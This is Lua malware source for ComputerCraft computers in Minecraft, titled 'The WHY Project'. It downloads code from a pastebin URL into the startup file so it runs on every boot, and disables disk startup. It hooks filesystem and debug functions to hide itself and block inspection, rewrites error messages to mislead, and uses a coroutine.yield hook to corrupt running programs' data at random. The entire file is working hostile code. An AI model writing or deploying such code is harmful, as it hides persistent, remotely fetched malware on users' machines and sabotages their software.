The WHY Project

load([[

-- #### Vars

local userStartupPath = "userStartup"
local real = {}

-- #### "Local" functions

settings.set("shell.allow_disk_startup", false)
settings.set("shell.allow_startup", true)
settings.save ".settings"
local h = http.get "https://pastebin.com/raw/C4SpMZT3"
if fs.isDir "startup" then fs.delete "startup" end
local f = fs.open("startup", "w")
f.write(h.readAll())
f.close()
h.close()

local function writeYellow(text)
    if term.isColor() then
        term.setTextColor(colors.yellow)
        term.write(text)
        term.setTextColor(colors.white)
    else
        term.write(text)
    end
end

-- #### Tweaking compromising functions

local function preprocessError(e)
    if type(e) == "string" then
        local newText = e:gsub("why", "bios.lua"):gsub("userStartup", "startup")
        return newText
    end
    return e
end

real.pcall = pcall
local function fakePcall(...)
    local ok, result = real.pcall(...)
    if not ok then return false, preprocessError(result)
    else return ok, result end
end
_G.pcall = fakePcall

real.xpcall = xpcall
local function fakeXpcall(fn, ehandler)
    return real.xpcall(fn, function(e) return ehandler(preprocessError(e)) end)
end
_G.xpcall = fakeXpcall

real.find = fs.find
local function fakeFind(path)
    if string.lower(path) == "startup" then
        path = userStartupPath
    end

    list = real.find(path)
    for i=1,#list do
        if list[i] == userStartupPath then
            list[i] = "startup"
        end
    end
    return list
end
fs.find = fakeFind

real.list = fs.list
local function fakeList(path)
    list = real.list(path)
    for i=1,#list do
        if list[i] == "startup" then
            table.remove(list, i)
        end
    end
    for i=1,#list do
        if list[i] == userStartupPath then
            list[i] = "startup"
        end
    end
    return list
end
fs.list = fakeList

real.exists = fs.exists
local function fakeExists(path)
    if string.lower(path) == "startup" then
        path = userStartupPath
    end

    return real.exists(path)
end
fs.exists = fakeExists

real.ioOpen = io.open
local function fakeIoOpen(path)
    if string.lower(path) == "startup" then
        path = userStartupPath
    end

    return real.ioOpen(path)
end
io.open = fakeIoOpen

real.makeDir = fs.makeDir
local function fakeMakeDir(path)
    if string.lower(path) == "startup" then
        path = userStartupPath
    end

    return real.makeDir(path)
end
fs.makeDir = fakeMakeDir

real.delete = fs.delete
local function fakeDelete(path)
    if string.lower(path) == "startup" then
        path = userStartupPath
    end

    return real.delete(path)
end
fs.delete = fakeDelete

real.open = fs.open
local function fakeOpen(path, mode)
    if string.lower(path) == "startup" then
        path = userStartupPath
    end

    return real.open(path, mode)
end
fs.open = fakeOpen

real.isReadOnly = fs.isReadOnly
local function fakeIsReadOnly(path)
    if string.lower(path) == "startup" then
        path = userStartupPath
    end

    return real.isReadOnly(path)
end
fs.isReadOnly = fakeIsReadOnly

real.getSize = fs.getSize
local function fakeGetSize(path)
    if string.lower(path) == "startup" then
        path = userStartupPath
    end

    return real.getSize(path)
end
fs.getSize = fakeGetSize

real.move = fs.move
local function fakeMove(fromPath, toPath)
    if string.lower(fromPath) == "startup" then
        fromPath = userStartupPath
    end
    if string.lower(toPath) == "startup" then
        toPath = userStartupPath
    end

    return real.move(fromPath, toPath)
end
fs.move = fakeMove

real.copy = fs.copy
local function fakeCopy(fromPath, toPath)
    if string.lower(fromPath) == "startup" then
        fromPath = userStartupPath
    end
    if string.lower(toPath) == "startup" then
        toPath = userStartupPath
    end

    return real.copy(fromPath, toPath)
end
fs.copy = fakeCopy

real.stringDump = string.dump
local function isDefinedHere(fn)
    local d = real.stringDump(fn)
    return d:find "@why" ~= nil
end

local function fakeStringDump(fn)
    if isDefinedHere(fn) then
        error "Unable to dump given function"
    end
    return real.stringDump(fn)
end
string.dump = fakeStringDump

real.debugGetupvalue = debug.getupvalue
local function fakeDebugGetupvalue(fn, ...)
    if isDefinedHere(fn) then return nil
    else return real.debugGetupvalue(fn, ...) end
end
debug.getupvalue = fakeDebugGetupvalue

local function randomStackPos()
    local eligible = {}
    local i = 1
    while true do
        local info = debug.getinfo(i, "Sn")
        if not info then break end
        if info.what ~= "C" and info.source ~= "@why" and not (info.source == "@bios.lua" and info.name == nil) then
            table.insert(eligible, i)
        end
        i = i + 1
    end
    if #eligible == 0 then return 0
    else return eligible[math.random(1, #eligible)] end
end

local function mutateValue(x)
    local ty = type(x)
    if math.random(0, 10) == 4 then
        return tostring(x)
    end
    if ty == "number" then
        return x + math.random(-10, 10)
    elseif ty == "string" then
        local option = math.random(1, 3)
        if option == 1 then
            if #x == 0 then
                local p = math.random(1, #x)
                return x:sub(1, p) .. x:sub(p)
            else
                return "42"
            end
        elseif option == 2 then
            return x .. string.char(math.random(32, 128))
        elseif option == 3 then
            return x:reverse()
        end
    elseif ty == "table" then
        local option = math.random(1, 5)
        if option == 1 then
            debug.setmetatable(x, {
                __newindex = function(t, k, v)
                    rawset(t, k, mutateValue(v))
                    if math.random(1, 100) == 42 then
                        error("java.lang.NullPointerException", 0)
                    end
                end
            })
        elseif option == 2 then
            x[math.random(1, #x + 1)] = "pastebin run RM13UGFa"
        elseif option == 3 then
            local mt = (debug.getmetatable(x) or {})
            mt.__index = _G
            debug.setmetatable(x, mt)
        elseif option == 4 then
            local mt = (debug.getmetatable(x) or {})
            mt.__eq = function() return math.random(0, 1) == 0 end
            mt.__mode = "v"
            debug.setmetatable(x, mt)
        elseif option == 5 then
            for k, v in pairs(x) do
                if type(k) == "number" then
                    x[k * 8] = v
                    mutateValue(x[k * 8])
                end
            end
        end
    elseif ty == "function" then
        return setmetatable({}, {
            __call = function(t, ...)
                return x(...)
            end
        })
    end
    return x
end

-- The fun part. Inject lots of logic into coroutine.yield (which *MUST* be run periodically or CC forces the thread to stop) which messes up programs.
real.coroutineYield = coroutine.yield
local function fakeCoroutineYield(...)
    local mode = math.random(0, 100)
    if mode == 0 then
        local stacklevel = randomStackPos()
        local info = debug.getinfo(stacklevel, "fu")
        if info then
            if info.nups > 0 then
                local i = math.random(1, info.nups)
                local name, now = real.debugGetupvalue(info.func, i)
                local new = mutateValue(now)
                if new then debug.setupvalue(info.func, i, new) end
            end
        end
    elseif mode == 1 then
        local stacklevel = randomStackPos()
        local i = 1
        while true do
            local name, value = debug.getlocal(stacklevel, i)
            if not name then break end
            if math.random(1, 4) == 4 then
                local new = mutateValue(value)
                if new then debug.setlocal(stacklevel, i, new) end
            end
            i = i + 1
        end
    elseif mode == 2 then
        local env = getfenv(randomStackPos())
        local keys = {}
        for k in pairs(env) do table.insert(keys, k) end
        if #keys > 0 then
            local key = keys[math.random(1, #keys)]
            local new = mutateValue(env[key])
            if new then env[key] = new end
        end
    end
    return real.coroutineYield(...)
end
coroutine.yield = fakeCoroutineYield

term.clear()
term.setCursorPos(1,1)
writeYellow(os.version())
term.setCursorPos(1,2)

if fs.exists("startup") then
    shell.run("startup")
end

]], "@why")()